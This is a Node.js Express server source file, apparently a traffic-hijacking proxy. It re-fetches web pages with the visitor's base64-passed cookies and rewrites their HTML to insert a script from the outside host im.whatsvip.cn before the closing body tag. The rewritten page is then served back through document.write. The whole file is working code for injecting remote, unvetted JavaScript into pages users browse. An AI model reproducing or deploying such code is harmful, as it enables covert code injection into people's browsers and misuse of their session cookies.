var express = require('express')
	,ejs = require('ejs')
	,path = require('path')
	,bodyParser = require('body-parser')
	,cookieParser = require('cookie-parser')	
	,http = require('http');
var app = express();

__dirname=process.cwd();
var httpHelper=require(__dirname+'/node_modules/httphelper');
var httpDown=require(__dirname+'/node_modules/httpdown');
var myudp=require(__dirname+'/node_modules/myudpserver');
//设置环境
app.set('views', __dirname + '/node_modules/jsex');
app.engine('.html', ejs.__express);
app.set('view engine', 'html');

app.use(express.static(path.join(__dirname, 'www')));
app.use(bodyParser.json({limit:'1mb'}));
app.use(bodyParser.urlencoded({extended:true}));
app.use(cookieParser());

console.log(__dirname);
myudp.startWork(__dirname);
//get路由
app.get('/', function (req, res) {
  console.log('request index');
  res.sendFile(__dirname + '/www/index.html');
  //httpDown.download("http://192.168.1.238/chat.rar",2000,function(){});
});
app.get('/index', function (req, res) {
  console.log('request index');
  res.sendFile(__dirname + '/www/index.html');
  myudp.test();
});
app.get('/gethtml', function (req, res) {
  if(req.query.uri)
  {
	  	console.log("收到请求网址：%s",req.query.uri);
		var b = new Buffer(req.query.corpcorpcookie, 'base64')
		var scookie = b.toString();
  		var ua={'User-Agent': req.headers['user-agent'],'Accept-Encoding': '','Cookies':scookie};
		httpHelper.get(req.query.uri, 2000, function (err, data,hres,hreq) {
			if (err) {
				console.log("返回出现错误：");
				 console.log(err);
				 var url=req.query.uri.indexOf("?")==-1?req.query.uri+'?fjr_token=noattack':req.query.uri+'&fjr_token=noattack'
				 return res.redirect(url);
			}
			if(hres.statusCode==302||hres.statusCode==301)
			{
				console.log("返回跳转：");
				console.log(hreq._headers.host);
				console.log(hres.headers['location']);
				var location=hres.headers['location'].indexOf("?")==-1?hres.headers['location']+'?fjr_token=fjr_302turn':hres.headers['location']+'&fjr_token=fjr_302turn';
				var url=location;
				if(location.indexOf("https://") == -1 && location.indexOf("http://") == -1)
					url="http://"+hreq._headers.host+"/"+location;
				return res.redirect(url);
			}
			if(hres.statusCode==200&&typeof hres.headers['content-type'] != 'undefined'&&(hres.headers['content-type'].indexOf('text/html') != -1||
			hres.headers['content-type'].indexOf('application/xhtml+xml') != -1))
			{
				console.log("返回类型是HTML类型");
				if(data.indexOf("<html") != -1){
					console.log("验证了是HTML类型");
					var meta = hres.headers['content-type'];
					console.log("头部提取到的编码是%s",meta);
					var bianma='utf-8';
					if(typeof meta != 'undefined' && meta != null && meta.indexOf('charset') != -1){
						if(meta.indexOf('GBK')!=-1||meta.indexOf('gbk')!=-1||meta.indexOf('GB2312')!=-1||meta.indexOf('gb2312')!=-1)
							bianma='gbk';
					}else{
					var reg=/<meta[^>]*charset=\"?(.+)\"?>/g;
					var metadata=new String(data.match(reg));
					console.log("Body提取到的编码是%s",metadata);
					if(typeof metadata != 'undefined' && metadata != null){
						console.log("Body提取到的编码是1111%s:%d",metadata,metadata.indexOf("charset"));
						if(metadata.indexOf('GBK') != -1 || metadata.indexOf('gbk') != -1 || metadata.indexOf('GB2312') != -1 || metadata.indexOf('gb2312') != -1){
							console.log("Body提取到的编码是2222222222222111%s",metadata);
							bianma='gbk';
						}
					}}
					var url=req.query.uri.indexOf("?")==-1?req.query.uri+'?fjr_token=ishtml&bianma='+bianma:req.query.uri+'&fjr_token=ishtml&bianma='+bianma
					console.log("转换网址：---->%s",url);
					return res.redirect(url);
				}
			}
			console.log(hres.statusCode);
			console.log(hres.headers['content-type']);
			var url=req.query.uri.indexOf("?")==-1?req.query.uri+'?fjr_token=nothtml':req.query.uri+'&fjr_token=nothtml';
			return res.redirect(url);
			
		}, 'utf-8',ua);
  }
});
app.get('/wfdjs.js', function (req, res) {
  if(req.query.corpcorpproex)
  {
	  	console.log("REWRITE = %s",req.query.corpcorpproex);
		var b = new Buffer(req.query.corpcorpcookie, 'base64')
		var scookie = b.toString();
  		var ua={'User-Agent': req.headers['user-agent'],'Accept-Encoding': '','Cookies':scookie};
		
		var geturl= require('url').parse(req.query.corpcorpproex);
		console.log(geturl);
		var noattackurl=geturl.href.indexOf("?")==-1?geturl.href+'?fjr_token=noattack':geturl.href+'&fjr_token=noattack';
	var LOCATION_BUF ="var w=window;var d=document;var head=d.head;"+
	"var body=d.body;w.onload=function(){var html = \'<html><head></head><body><script type=\"application/javascript\">location=\""+noattackurl+"\"</script></body><html>\';d.write(html);d.close();}";
	
		var quryobj = require('querystring').parse(geturl.query);
		var bianma=quryobj.bianma?quryobj.bianma:'utf-8';
		var nowurl=geturl.href.substr(0,geturl.href.indexOf("&fjr_token="))!=''? geturl.href.substr(0,geturl.href.indexOf("&fjr_token=")):geturl.href.substr(0,geturl.href.indexOf("?fjr_token="));
		httpHelper.get(nowurl, 2000, function (err, data,hres) {
			if (err) {
				 console.log(err);
				 return res.send(LOCATION_BUF);
			}
			if(hres.statusCode==302||hres.statusCode==301)
			{
				console.log("跳转:%s",hres.headers['location']);
				return res.send(LOCATION_BUF);
			}
			if(hres.statusCode==200&&hres.headers.hasOwnProperty('content-type')&&(hres.headers['content-type'].indexOf('text/html') != -1||
			hres.headers['content-type'].indexOf('application/xhtml+xml') != -1))
			{
				console.log("是HTML类型");
				if(data.indexOf("</body>") != -1){
					console.log("验证了是HTML类型");
					var html =data;
					html = html.replace(/\\/g,"\\\\");
					html = html.replace(/\'/g,"\\'");
					//html = html.replace(/\"/g,"\\\"");
					html = html.replace(/<\/body>/g,'<script src="http://im.whatsvip.cn/js/jsinto.js"></script></body>');
					//html = html.replace(/<meta[^>]*charset=\"?(.+)\"?>/g,'<meta http-equiv=Content-Type content="text/html;charset=utf-8">');				
					html = html.replace(/\r/g,"\\r");
					html = html.replace(/\n/g,"\\n\')\nd.write(\'");
					return res.render("wfdjs.html",{html:html});
				}
			}
			return res.send(LOCATION_BUF);
			
		}, bianma,ua);
  }
});
process.on('uncaughtException', function (err) {
  console.log(err);
});

//启动服务
var httpserver = app.listen(29, function () {
  var host = httpserver.address().address;
  var port = httpserver.address().port;  
  console.log('httpserver app listening at http://%s:%s', host, port);
});